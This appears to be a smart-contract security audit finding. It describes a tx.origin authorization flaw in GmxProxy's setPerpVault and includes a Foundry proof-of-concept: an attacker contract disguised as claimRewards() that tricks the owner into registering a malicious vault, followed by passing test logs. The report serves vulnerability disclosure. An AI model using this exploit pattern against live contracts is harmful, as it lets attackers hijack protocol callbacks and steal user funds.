The exploit goes: the attacker deploys a contract with a function that internally calls setPerpVault with a malicious vault address. The attacker then tricks the owner into calling this function (by social engineering, phishing, or whatever path the attacker finds more convenient). When the owner does so, the malicious contract executes setPerpVault, passing the require(tx.origin == owner()) check because tx.origin is the owner’s EOA. The condition perpVault == address(0) ensures the vault can only be set once, locking in the malicious address permanently.
This vulnerability allows the attacker to permanently hijack the protocol’s callback system by registering a malicious vault, enabling them to manipulate all subsequent order executions and liquidations to steal user funds with no possibility of reversal.
Here is a POC that proves it. Run it with forge test --match-test test_ExploitTxOriginVulnerability -vvv:
pragma solidity ^0.8.4;
import {Test, console} from "forge-std/Test.sol";
import {ArbitrumTest} from "./utils/ArbitrumTest.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {ProxyAdmin} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import {GmxProxy} from "../contracts/GmxProxy.sol";
import {IGmxProxy} from "../contracts/interfaces/IGmxProxy.sol";
import {IExchangeRouter} from "../contracts/interfaces/gmx/IExchangeRouter.sol";
import {Order} from "../contracts/libraries/Order.sol";
import {CreateOrderParams} from "../contracts/libraries/StructData.sol";
contract MockExchangeRouter is IExchangeRouter {
function setSavedCallbackContract(address market, address callbackContract) external payable {
}
function createOrder(CreateOrderParams calldata params) external payable returns (bytes32) {
return bytes32(0);
}
function createOrderFUZZ(CreateOrderParams calldata params) external payable returns (bool, bytes32) {
return (true, bytes32(0));
}
function cancelOrder(bytes32 key) external payable {
}
function claimCollateral(address[] memory markets, address[] memory tokens, uint256[] memory timeKeys, address receiver) external returns (uint256[] memory) {
return new uint256[](markets.length);
}
function claimFundingFees(address[] memory markets, address[] memory tokens, address receiver) external returns (uint256[] memory) {
return new uint256[](markets.length);
}
function sendWnt(address receiver, uint256 amount) external payable {
}
function sendTokens(address token, address receiver, uint256 amount) external payable {
}
}
contract MaliciousContract {
address public immutable gmxProxy;
address public immutable maliciousVault;
address public immutable market;
constructor(address _gmxProxy, address _maliciousVault, address _market) {
gmxProxy = _gmxProxy;
maliciousVault = _maliciousVault;
market = _market;
}
function claimRewards() external {
console.log("Inside MaliciousContract.claimRewards():");
console.log(" tx.origin:", tx.origin);
console.log(" msg.sender:", msg.sender);
console.log(" maliciousVault:", maliciousVault);
IGmxProxy(gmxProxy).setPerpVault(maliciousVault, market);
console.log("Successfully set perpVault to malicious vault");
}
}
contract GmxProxyVulnerabilityTest is Test, ArbitrumTest {
GmxProxy public gmxProxy;
ProxyAdmin public proxyAdmin;
address public owner;
address public attacker;
address public maliciousVault;
address public market;
MockExchangeRouter public mockRouter;
event LogSetup(address owner, address attacker, address maliciousVault, address gmxProxy);
event LogAttackStep(string step, address actor, address target);
function setUp() public {
console.log("\n=== Test Setup ===");
owner = makeAddr("owner");
vm.deal(owner, 100 ether);
console.log("Owner address:", owner);
attacker = makeAddr("attacker");
vm.deal(attacker, 100 ether);
console.log("Attacker address:", attacker);
maliciousVault = makeAddr("maliciousVault");
console.log("Malicious vault address:", maliciousVault);
market = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
console.log("Market address:", market);
mockRouter = new MockExchangeRouter();
console.log("Mock router deployed at:", address(mockRouter));
proxyAdmin = new ProxyAdmin();
console.log("ProxyAdmin deployed at:", address(proxyAdmin));
GmxProxy gmxProxyLogic = new GmxProxy();
console.log("GmxProxy logic deployed at:", address(gmxProxyLogic));
address payable proxyAddress = payable(
address(
new TransparentUpgradeableProxy(
address(gmxProxyLogic),
address(proxyAdmin),
""
)
)
);
gmxProxy = GmxProxy(proxyAddress);
console.log("GmxProxy proxy deployed at:", address(gmxProxy));
console.log("\nInitializing GmxProxy with owner:", owner);
vm.startPrank(owner);
gmxProxy.initialize(
address(0xe68CAAACdf6439628DFD2fe624847602991A31eB),
address(0xdAb9bA9e3a301CCb353f18B4C8542BA2149E4010),
address(0x9242FbED25700e82aE26ae319BCf68E9C508451c),
address(mockRouter),
address(0x7452c558d45f8afC8c83dAe62C3f8A5BE19c71f6),
address(0xFD70de6b91282D8017aA4E741e9Ae325CAb992d8),
address(0x31eF83a530Fde1B38EE9A18093A333D8Bbbc40D5),
address(0x0537C767cDAC0726c76Bb89e92904fe28fd02fE1),
address(0xe6fab3F0c7199b0d34d7FbE83394fc0e0D06e99d)
);
vm.stopPrank();
assertEq(gmxProxy.owner(), owner, "Owner not set correctly");
console.log("GmxProxy owner verified:", gmxProxy.owner());
vm.label(owner, "Owner");
vm.label(attacker, "Attacker");
vm.label(maliciousVault, "MaliciousVault");
vm.label(address(gmxProxy), "GmxProxy");
emit LogSetup(owner, attacker, maliciousVault, address(gmxProxy));
console.log("=== Setup Complete ===\n");
}
function test_ExploitTxOriginVulnerability() public {
console.log("\n=== Starting tx.origin Vulnerability Exploit Test ===");
console.log("\nStep 1: Attacker deploys malicious contract");
console.log("Attacker address:", attacker);
vm.startPrank(attacker);
MaliciousContract maliciousContract = new MaliciousContract(
address(gmxProxy),
maliciousVault,
market
);
vm.stopPrank();
console.log("Malicious contract deployed at:", address(maliciousContract));
emit LogAttackStep("Deploy", attacker, address(maliciousContract));
console.log("\nStep 2: Verify initial state");
console.log("Initial perpVault value:", gmxProxy.perpVault());
assertEq(gmxProxy.perpVault(), address(0), "perpVault should be unset initially");
console.log("Initial state verified - perpVault is unset");
console.log("\nStep 3: Owner interacts with malicious contract");
console.log("Owner address:", owner);
console.log("Current tx.origin:", tx.origin);
vm.startPrank(owner, owner);
console.log("Calling malicious contract's claimRewards()...");
maliciousContract.claimRewards();
vm.stopPrank();
emit LogAttackStep("Exploit", owner, address(maliciousContract));
console.log("\nStep 4: Verify attack success");
console.log("Final perpVault value:", gmxProxy.perpVault());
assertEq(gmxProxy.perpVault(), maliciousVault, "Attack failed - perpVault not set to malicious vault");
console.log("Attack successful - perpVault is now set to malicious vault");
console.log("\n=== Vulnerability Exploit Test Complete ===");
console.log("Summary:");
console.log("- Initial perpVault: address(0)");
console.log("- Final perpVault:", gmxProxy.perpVault());
console.log("- Malicious vault:", maliciousVault);
console.log("- Attack successful:", gmxProxy.perpVault() == maliciousVault);
}
}
Ran 1 test for test/GmxProxyVulnerability.t.sol:GmxProxyVulnerabilityTest
[PASS] test_ExploitTxOriginVulnerability() (gas: 470451)
Logs:
=== Test Setup ===
Owner address: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
Attacker address: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Malicious vault address: 0x0e1EB8f33bbAE96A76936307567f4cAd2003648a
Market address: 0x70d95587d40A2caf56bd97485aB3Eec10Bee6336
Mock router deployed at: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
ProxyAdmin deployed at: 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
GmxProxy logic deployed at: 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9
GmxProxy proxy deployed at: 0xc7183455a4C133Ae270771860664b6B7ec320bB1
Initializing GmxProxy with owner: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
GmxProxy owner verified: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
=== Setup Complete ===
=== Starting tx.origin Vulnerability Exploit Test ===
Step 1: Attacker deploys malicious contract
Attacker address: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Malicious contract deployed at: 0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a
Step 2: Verify initial state
Initial perpVault value: 0x0000000000000000000000000000000000000000
Initial state verified - perpVault is unset
Step 3: Owner interacts with malicious contract
Owner address: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
Current tx.origin: 0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38
Calling malicious contract's claimRewards()...
Inside MaliciousContract.claimRewards():
tx.origin: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
msg.sender: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
maliciousVault: 0x0e1EB8f33bbAE96A76936307567f4cAd2003648a
Successfully set perpVault to malicious vault
Step 4: Verify attack success
Final perpVault value: 0x0e1EB8f33bbAE96A76936307567f4cAd2003648a
Attack successful - perpVault is now set to malicious vault
=== Vulnerability Exploit Test Complete ===
Summary:
- Initial perpVault: address(0)
- Final perpVault: 0x0e1EB8f33bbAE96A76936307567f4cAd2003648a
- Malicious vault: 0x0e1EB8f33bbAE96A76936307567f4cAd2003648a
- Attack successful: true
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.22ms (1.24ms CPU time)
Ran 1 test suite in 183.23ms (10.22ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)